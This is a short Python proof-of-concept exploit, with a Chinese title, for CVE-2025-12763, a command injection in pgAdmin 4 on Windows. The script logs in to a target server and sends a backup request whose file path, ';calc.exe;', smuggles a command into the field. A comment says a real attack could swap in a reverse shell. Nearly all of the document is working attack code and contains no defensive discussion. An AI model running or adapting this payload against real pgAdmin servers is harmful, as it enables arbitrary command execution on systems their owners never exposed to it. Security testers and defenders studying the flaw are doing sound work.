CVE-2025-12763: pgAdmin 4 Windows版本命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-12763 PoC - pgAdmin 4 Command Injection on Windows This PoC demonstrates the command injection vulnerability in pgAdmin 4's backup/restore functionality. """ import requests import json # Configuration TARGET_URL = "http://target-server:5050" USERNAME = "admin" PASSWORD = "admin_password" def exploit_command_injection(): """ Exploit the command injection vulnerability in pgAdmin 4 by providing a malicious file path during backup operation. """ # Login to pgAdmin 4 session = requests.Session() login_url = f"{TARGET_URL}/api/authenticate/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Malicious payload - injects calc.exe command via file path # In real attack, this could be a reverse shell or other malicious command malicious_path = ";calc.exe;" # Trigger backup operation with malicious file path backup_url = f"{TARGET_URL}/api/backup" backup_data = { "filepath": malicious_path, "database": "target_db", "format": "custom" } try: response = session.post(backup_url, json=backup_data) if response.status_code == 200: print("[+] Command injection successful - calc.exe should have executed") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-12763 - pgAdmin 4 Command Injection PoC") print("=" * 50) exploit_command_injection()